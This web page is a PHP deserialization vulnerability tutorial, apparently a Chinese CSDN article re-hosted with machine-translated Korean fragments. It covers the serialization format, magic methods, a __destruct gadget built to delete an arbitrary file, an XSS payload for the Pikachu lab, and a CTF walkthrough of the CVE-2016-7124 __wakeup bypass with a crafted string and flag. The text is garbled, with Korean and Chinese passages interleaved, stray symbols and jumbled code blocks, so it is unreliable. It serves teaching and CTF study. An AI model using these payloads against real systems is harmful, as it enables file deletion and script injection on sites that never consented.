>백엔드 개발 >PHP 문제 >PHP 역직렬화 취약점에 대한 자세한 분석

PHP 역직렬화 취약점에 대한 자세한 분석

WBOY
WBOY앞으로
2022-04-07 12:57:043228검색

이 기사는 PHP 객체 지향 프로그래밍, 직렬화 및 역직렬화, 역직렬화 취약점 원칙 등을 포함하여 역직렬화 취약점과 관련된 문제를 주로 소개하는 PHP에 대한 관련 지식을 제공합니다. 내용을 기다리세요. 이 글이 도움이 되기를 바랍니다. 모든 사람.

PHP 역직렬화 취약점에 대한 자세한 분석

추천 학습: "PHP Video Tutorial"

1. PHP 객체 지향 프로그래밍

객체 지향 프로그래밍(OOP)에서

object전체가 정보로 구성됩니다. 정보 처리에 대한 설명은 현실 세계를 추상화한 것입니다.

class는 동일한 구조와 동작을 공유하는 객체 컬렉션입니다. 각 클래스의 정의는 클래스라는 키워드로 시작하고 그 뒤에 클래스 이름이 옵니다.

PHP 클래스 만들기:

<?php
class TestClass //定义一个类
{
//一个变量
public $variable = &#39;This is a string&#39;;
//一个方法
public function PrintVariable()
{
echo $this->variable;
}
}
//创建一个对象
$object = new TestClass();
//调用一个方法
$object->PrintVariable();
?>

public, protected, private

PHP의 속성이나 메소드에 대한 액세스 제어키워드 public(공개), protected(보호) 또는 private(비공개)을 추가하여 달성합니다.

public: 공개 클래스 회원은 어디서나 액세스할 수 있습니다.

protected: 보호된 클래스 멤버는 자체적으로, 해당 하위 클래스와 상위 클래스에서 액세스할 수 있습니다.

private(비공개): Private 클래스 멤버는 자신이 정의된 클래스에서만 액세스할 수 있습니다. 참고:

액세스 제어 수정자는 다릅니다

, 직렬화 후 속성의 길이와 속성 값은 아래와 같이 달라집니다. public: 속성이 직렬화되면 속성 값은 속성이 됩니다. name

protected: 속성이 직렬화되면 속성 값은 x00*x00 속성 이름이 됩니다.属性名

protected:属性被序列化的时候属性值会变成 x00*x00属性名

private:属性被序列化的时候属性值会变成 x00类名x00属性名

其中:x00表示空字符,但是还是占用一个字符位置(空格),如下例

<?phpclass People{
    public $id;
    protected $gender;
    private $age;
    public function __construct(){
        $this->id = 'Hardworking666';
        $this->gender = 'male';
        $this->age = '18';
    }}$a = new People();echo serialize($a);?>
O:6:"People":3:{s:2:"id";s:14:"Hardworking666";s:9:" * gender";s:4:"male";s:11:" People age";s:2:"18";}

魔术方法(magic函数)

PHP中把以两个下划线__开头的方法称为魔术方法(Magic methods)

PHP官方——魔术方法
PHP中16 个魔术方法详解

类可能会包含一些特殊的函数:magic函数,这些函数在某些情况下会自动调用

__construct()            //类的构造函数,创建对象时触发

__destruct()             //类的析构函数,对象被销毁时触发

__call()                 //在对象上下文中调用不可访问的方法时触发

__callStatic()           //在静态上下文中调用不可访问的方法时触发

__get()                  //读取不可访问属性的值时,这里的不可访问包含私有属性或未定义

__set()                  //在给不可访问属性赋值时触发

__isset()                //当对不可访问属性调用 isset() 或 empty() 时触发

__unset()                //在不可访问的属性上使用unset()时触发

__invoke()               //当尝试以调用函数的方式调用一个对象时触发

__sleep()                //执行serialize()时,先会调用这个方法

__wakeup()               //执行unserialize()时,先会调用这个方法

__toString()             //当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用

serialize() 函数会检查类中是否存在一个魔术方法。如果存在,该方法会先被调用,然后才执行序列化操作。

我们需要重点关注一下5个魔术方法,所以再强调一下:

__construct:构造函数,当一个对象创建时调用

__destruct:析构函数,当一个对象被销毁时调用

__toString:当一个对象被当作一个字符串时使用

__sleep:在对象序列化的时候调用

__wakeup:对象重新醒来,即由二进制串重新组成一个对象的时候(在一个对象被反序列化时调用)

从序列化到反序列化这几个函数的执行过程是:

__construct() ->__sleep() -> __wakeup() -> __toString() -> __destruct()

<?php
class TestClass
{
    //一个变量
    public $variable = &#39;This is a string&#39;;
    //一个方法
    public function PrintVariable()
    {
        echo $this->variable.'<br />';
    }
    //构造函数
    public function  __construct()
    {
        echo '__construct<br />';
    }
    //析构函数
    public function __destruct()
    {
        echo '__destruct<br />';
    }
    //当对象被当作一个字符串
    public function __toString()
    {
        return '__toString<br />';
    }
}
//创建一个对象
//__construct会被调用
$object = new TestClass();
//创建一个方法
//‘This is a string’将会被输出
$object->PrintVariable();
//对象被当作一个字符串
//toString会被调用
echo $object;
//php脚本要结束时,__destruct会被调用
?>

输出结果:

__construct
This is a string
__toString
__destruct

__toString()这个魔术方法能触发的因素太多,所以有必要列一下:

1.  echo($obj)/print($obj)打印时会触发 
2.  反序列化对象与字符串连接时 
3.  反序列化对象参与格式化字符串时 
4.  反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型) 
5.  反序列化对象参与格式化SQL语句,绑定参数时 
6.  反序列化对象在经过php字符串处理函数,如strlen()、strops()、strcmp()、addslashes()等 
7.  在in_array()方法中,第一个参数时反序列化对象,第二个参数的数组中有__toString()返回的字符串的时候__toString()会被调用 
8.  反序列化的对象作为class_exists()的参数的时候

魔术方法在反序列化攻击中的作用

反序列化的入口在unserialize(),只要参数可控并且这个类在当前作用域存在,就能传入任何已经序列化的对象,而不是局限于出现unserialize()

private: 속성이 직렬화되면 속성 값은 가 됩니다. x00 클래스 이름 x00 속성 이름

그 중 x00

null 문자를 나타내지만 다음 예와 같이 여전히 한 문자 위치(공백)를 차지합니다.

<?php
class User
{
    //类的数据
    public $age = 0;
    public $name = &#39;&#39;;
    //输出数据
    public function printdata()
    {
        echo &#39;User &#39;.$this->name.' is '.$this->age.' years old.<br />';
    } // “.”表示字符串连接
}
//创建一个对象
$usr = new User();
//设置数据
$usr->age = 18;
$usr->name = 'Hardworking666';
//输出数据
$usr->printdata();
//输出序列化后的数据
echo serialize($usr)
?>
User Hardworking666 is 18 years old.
O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}
magic 메소드 (마법 함수)

PHP에서는

두 개의 밑줄

__으로 시작하는 메소드를

Magic 메소드

(Magic 메소드)

PHP 공식 - 매직 메소드
16가지 매직에 대한 자세한 설명 PHP
의 메소드 클래스에는 특정 상황에서 자동으로 호출되는 마법 함수와 같은 특별한 함수가 포함될 수 있습니다.

a - array 数组型
b - boolean 布尔型
d - double 浮点型
i - integer 整数型
o - common object 共同对象
r - objec reference 对象引用
s - non-escaped binary string 非转义的二进制字符串
S - escaped binary string 转义的二进制字符串
C - custom object 自定义对象
O - class 对象
N - null 空
R - pointer reference 指针引用
U - unicode string Unicode 编码的字符串
serialize() 함수는 클래스에 매직 메서드가 있는지 확인합니다. 존재하는 경우 이 메서드가 먼저 호출된 다음 직렬화 작업이 수행됩니다. 🎜🎜5가지 매직 메소드에 집중해야 하므로 다시 강조하겠습니다. 🎜🎜__construct: 객체 🎜가 생성될 때 호출되는 생성자🎜🎜🎜__destruct: 객체 🎜가 파괴될 때 호출되는 소멸자 🎜 🎜🎜 __toString: 객체 🎜가 문자열로 처리될 때 사용 🎜 사용 🎜🎜 __sleep: 객체에서 🎜호출됨 🎜 🎜__wakeup 🎜직렬화🎜일 때: 개체가 다시 깨어납니다. 즉, 이진 문자열에서 🎜객체를 재구성🎜할 때(객체가 🎜역직렬화🎜될 때 호출됨)🎜🎜 이러한 실행 프로세스 직렬화에서 역직렬화까지의 함수는 다음과 같습니다. 🎜🎜__construct() ->__sleep() -> >__toString() -> __destruct()🎜
<?php
class User
{
    //类的数据
    public $age = 0;
    public $name = &#39;&#39;;
    //输出数据
    public function printdata()
    {
        echo &#39;User &#39;.$this->name.' is '.$this->age.' years old.<br />';
    }
}
//重建对象
$usr = unserialize('O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}');
//输出数据
$usr->printdata();
?>
🎜출력 결과: 🎜
User Hardworking666 is 18 years old.
🎜__toString()이 마법을 유발할 수 있는 요소가 너무 많습니다. 🎜
<?phpclass test{
    public $variable = &#39;变量反序列化后都要销毁&#39;; //公共变量
    public $variable2 = &#39;OTHER&#39;;
    public function printvariable()
    {
        echo $this->variable.'<br />';
    }
    public function __construct()
    {
        echo '__construct'.'<br />';
    }
    public function __destruct()
    {
        echo '__destruct'.'<br />';
    }
    public function __wakeup()
    {
        echo '__wakeup'.'<br />';
    }
    public function __sleep()
    {
        echo '__sleep'.'<br />';
        return array('variable','variable2');
    }}//创建一个对象,回调用__construct$object = new test();
    //序列化一个对象,会调用__sleep$serialized = serialize($object);
    //输出序列化后的字符串print 'Serialized:'.$serialized.'<br />';
    //重建对象,会调用__wakeup$object2 = unserialize($serialized);
    //调用printvariable,会输出数据(变量反序列化后都要销毁)$object2->printvariable();
    //脚本结束,会调用__destruct?>
🎜역직렬화 공격에서 매직 메서드의 역할🎜🎜역직렬화의 입구는 🎜 매개변수가 제어 가능한 한 unserialize()에 있습니다. 이 클래스가 현재 범위에 존재하면 unserialize() 함수가 나타나는 클래스의 객체로 제한되는 대신 직렬화된 모든 객체를 전달할 수 있습니다. 🎜🎜현재 클래스로만 제한할 수 있다면 공격 표면이 너무 작으며, 다른 클래스 객체를 역직렬화하면 속성만 제어할 수 있습니다. 역직렬화 후 코드에서 다른 클래스 객체의 메서드가 호출되지 않으면 여전히 공격할 수 없습니다. 취약점을 악용합니다. 🎜🎜그러나 매직 메소드를 사용하면 공격 표면이 확장될 수 있습니다. 클래스가 직렬화되거나 역직렬화되는 동안 매직 메소드가 자동으로 완료되므로 🎜역직렬화에서 객체 속성을 사용하여 일부 악용 가능한 기능을 제어할 수 있습니다. , 공격 목적을 달성하기 위해. 🎜🎜다음 예제를 통해 deserialization 취약점에서 매직 메서드의 역할을 이해하세요. 코드는 다음과 같습니다. 🎜🎜2. PHP 직렬화 및 역직렬화🎜🎜PHP 직렬화🎜🎜때때로 전송을 용이하게 하기 위해 네트워크를 통해 개체를 전송해야 하는 경우가 있습니다. . , 🎜전체 개체를 바이너리 문자열로 변환🎜한 다음 반대쪽 끝에 도달하면 원래 개체로 복원할 수 있습니다. 이 프로세스를 🎜직렬화🎜(🎜직렬화🎜라고도 함)라고 합니다. 🎜

json数据使用 , 分隔开,数据内使用 : 分隔

json数据其实就是个数组,这样做的目的也是为了方便在前后端传输数据,后端接受到json数据,可以通过json_decode()得到原数据,
这种将原本的数据通过某种手段进行"压缩",并且按照一定的格式存储的过程就可以称之为序列化。

有两种情况必须把对象序列化:
把一个对象在网络中传输
把对象写入文件或数据库

相关概念可以参考我以前的文章:
Python序列化与反序列化详解(包括json和json模块详解)

PHP序列化:把对象转化为二进制的字符串,使用serialize()函数
PHP反序列化:把对象转化的二进制字符串再转化为对象,使用unserialize()函数

通过例子来看PHP序列化后的格式:

<?php
class User
{
    //类的数据
    public $age = 0;
    public $name = &#39;&#39;;
    //输出数据
    public function printdata()
    {
        echo &#39;User &#39;.$this->name.' is '.$this->age.' years old.<br />';
    } // “.”表示字符串连接
}
//创建一个对象
$usr = new User();
//设置数据
$usr->age = 18;
$usr->name = 'Hardworking666';
//输出数据
$usr->printdata();
//输出序列化后的数据
echo serialize($usr)
?>

输出结果:

User Hardworking666 is 18 years old.
O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}

下面的 O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";} 就是对象user序列化后的形式。

“O”表示对象,“4”表示对象名长度为4,“User”为对象名,“2”表示有2个参数

“{}”里面是参数的key和value,

“s”表示string对象,“3”表示长度,“age”则为key;“i”是interger(整数)对象,“18”是value,后面同理。

序列化格式:

a - array 数组型
b - boolean 布尔型
d - double 浮点型
i - integer 整数型
o - common object 共同对象
r - objec reference 对象引用
s - non-escaped binary string 非转义的二进制字符串
S - escaped binary string 转义的二进制字符串
C - custom object 自定义对象
O - class 对象
N - null 空
R - pointer reference 指针引用
U - unicode string Unicode 编码的字符串

PHP序列化需注意以下几点:

1、序列化只序列属性,不序列方法
2、因为序列化不序列方法,所以反序列化之后如果想正常使用这个对象的话我们必须要依托这个类要在当前作用域存在的条件
3、我们能控制的只有类的属性,攻击就是寻找合适能被控制的属性,利用作用域本身存在的方法,基于属性发动攻击

PHP反序列化

对上例进行反序列化:

<?php
class User
{
    //类的数据
    public $age = 0;
    public $name = &#39;&#39;;
    //输出数据
    public function printdata()
    {
        echo &#39;User &#39;.$this->name.' is '.$this->age.' years old.<br />';
    }
}
//重建对象
$usr = unserialize('O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}');
//输出数据
$usr->printdata();
?>
User Hardworking666 is 18 years old.

_sleep 方法在一个对象被序列化时调用,_wakeup方法在一个对象被反序列化时调用

<?phpclass test{
    public $variable = &#39;变量反序列化后都要销毁&#39;; //公共变量
    public $variable2 = &#39;OTHER&#39;;
    public function printvariable()
    {
        echo $this->variable.'<br />';
    }
    public function __construct()
    {
        echo '__construct'.'<br />';
    }
    public function __destruct()
    {
        echo '__destruct'.'<br />';
    }
    public function __wakeup()
    {
        echo '__wakeup'.'<br />';
    }
    public function __sleep()
    {
        echo '__sleep'.'<br />';
        return array('variable','variable2');
    }}//创建一个对象,回调用__construct$object = new test();
    //序列化一个对象,会调用__sleep$serialized = serialize($object);
    //输出序列化后的字符串print 'Serialized:'.$serialized.'<br />';
    //重建对象,会调用__wakeup$object2 = unserialize($serialized);
    //调用printvariable,会输出数据(变量反序列化后都要销毁)$object2->printvariable();
    //脚本结束,会调用__destruct?>
__construct
__sleep
Serialized:O:4:"test":2:{s:8:"variable";s:33:"变量反序列化后都要销毁";s:9:"variable2";s:5:"OTHER";}__wakeup
变量反序列化后都要销毁
__destruct
__destruct

从序列化到反序列化这几个函数的执行过程是:
__construct() ->__sleep -> __wakeup() -> __toString() -> __destruct()

PHP为何要序列化和反序列化

PHP的序列化与反序列化其实是为了解决一个问题:PHP对象传递问题

PHP对象是存放在内存的堆空间段上的,PHP文件在执行结束的时候会将对象销毁

如果刚好要用到销毁的对象,难道还要再写一遍代码?所以为了解决这个问题就有了PHP的序列化和反序列化

从上文可以发现,我们可以把一个实例化的对象长久的存储在计算机磁盘上,需要调用的时候只需反序列化出来即可使用。

三、PHP反序列化漏洞原理

序列化和反序列化本身没有问题,

但是反序列化内容用户可控

后台不正当的使用了PHP中的魔法函数,就会导致安全问题。

当传给unserialize()参数可控时,可以通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数。

调用__destruct删除

存在漏洞的思路:一个类用于临时将日志储存进某个文件,当__destruct被调用时,日志文件将会被删除:

//logdata.php<?phpclass logfile{
    //log文件名
    public $filename = 'error.log';
    //一些用于储存日志的代码
    public function logdata($text)
    {
        echo 'log data:'.$text.'<br />';
        file_put_contents($this->filename,$text,FILE_APPEND);
    }
    //destrcuctor 删除日志文件
    public function __destruct()
    {
        echo '__destruct deletes '.$this->filename.'file.<br />';
        unlink(dirname(__FILE__).'/'.$this->filename);
    }}?>

调用这个类:

<?phpinclude &#39;logdata.php&#39;class User{
    //类数据
    public $age = 0;
    public $name = &#39;&#39;;
    //输出数据
    public function printdata()
    {
        echo &#39;User &#39;.$this->name.' is'.$this->age.' years old.<br />';
    }}//重建数据$usr = unserialize($_GET['usr_serialized']);?>

代码$usr = unserialize($_GET['usr_serialized']);中的$_GET[‘usr_serialized’]是可控的,那么可以构造输入,删除任意文件。

如构造输入删除目录下的index.php文件:

<?php
include &#39;logdata.php&#39;;
$object = new logfile();
$object->filename = 'index.php';
echo serialize($object).'<br />';
?>

上面展示了由于输入可控造成的__destruct函数删除任意文件,其实问题也可能存在于__wakeup__sleep__toString等其他magic函数。

比如,某用户类定义了一个__toString,为了让应用程序能够将类作为一个字符串输出(echo $object),而且其他类也可能定义了一个类允许__toString读取某个文件。

XSS(跨站脚本攻击)攻击

XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

例如,皮卡丘靶场PHP反序列化漏洞

$html=";
if(isset($_POST['o'])){    $s = $_POST['o'];
    if(!@$unser = unserialize($s)){        $html.="<p>错误输出</p>";
    }else{        $html.="<p>{$unser->test)</p>";
    }

为了执行<script>alert('xss')</script>,Payload:

O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

其他知识点:

unserialize漏洞依赖条件
1、unserialize函数的参数可控
2、脚本中存在一个构造函数(__construct())、析构函数(__destruct())、__wakeup()函数中有向PHP文件中写数据的操作类
3、所写的内容需要有对象中的成员变量的值

防范方法
1、严格控制unserialize函数的参数,坚持用户所输入的信息都是不可靠的原则
2、对于unserialize后的变量内容进行检查,以确定内容没有被污染

四、实例

PHP反序列化绕过__wakeup() CTF例题

攻防世界xctf web unserialize3

打开网址后的代码:

class xctf{public $flag = '111';public function __wakeup(){exit('bad requests');}?code=

已知在使用 unserialize() 反序列化时会先调用 __wakeup()函数,

而本题的关键就是如何 绕过 __wakeup()函数,就是 在反序列化的时候不调用它

序列化的字符串中的 属性值 个数 大于 属性个数 就会导致反序列化异常,从而绕过 __wakeup()

代码中的__wakeup()方法如果使用就是和unserialize()反序列化函数结合使用的
这里没有特别对哪个字符串序列化,所以把xctf类实例化后,进行反序列化。

我们利用php中的new运算符,实例化类xctf。

new 是申请空间的操作符,一般用于类。
比如定义了一个 class a{public i=0;}
$c = new a(); 相当于定义了一个基于a类的对象,这时候 $c->i 就是0

构造序列化的代码在编辑器内执行:

<?php
class xctf{
public $flag = &#39;111&#39;; //public定义flag变量公开可见
public function __wakeup(){
exit(&#39;bad requests&#39;);
}
}//题目少了一个},这里补上
$a=new xctf();
echo(serialize($a));
?>

运行结果

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

序列化返回的字符串格式:

O:<length>:"<class name>":<n>:{<field name 1><field value 1>...<field name n><field value n>}

O:表示序列化的是对象
<length>:表示序列化的类名称长度
<class name>:表示序列化的类的名称
<n>:表示被序列化的对象的属性个数
<field name 1>:属性名
<field value 1>:属性值

所以要修改属性值<n>,既把1改为2以上。

O:4:"xctf":2:{s:4:"flag";s:3:"111";}

在url中输入:

?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

得到flag:cyberpeace{d0e4287c414858ea80e166dbdb75519e}

漏洞:
__wakeup绕过(CVE-2016-7124)
CVE-2016-7124:当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

官方给出的影响版本:
PHP5 < 5.6.25
PHP7 < 7.0.10

推荐学习:《PHP教程

위 내용은 PHP 역직렬화 취약점에 대한 자세한 분석의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
이 기사는 csdn.net에서 복제됩니다. 침해가 있는 경우 admin@php.cn으로 문의하시기 바랍니다. 삭제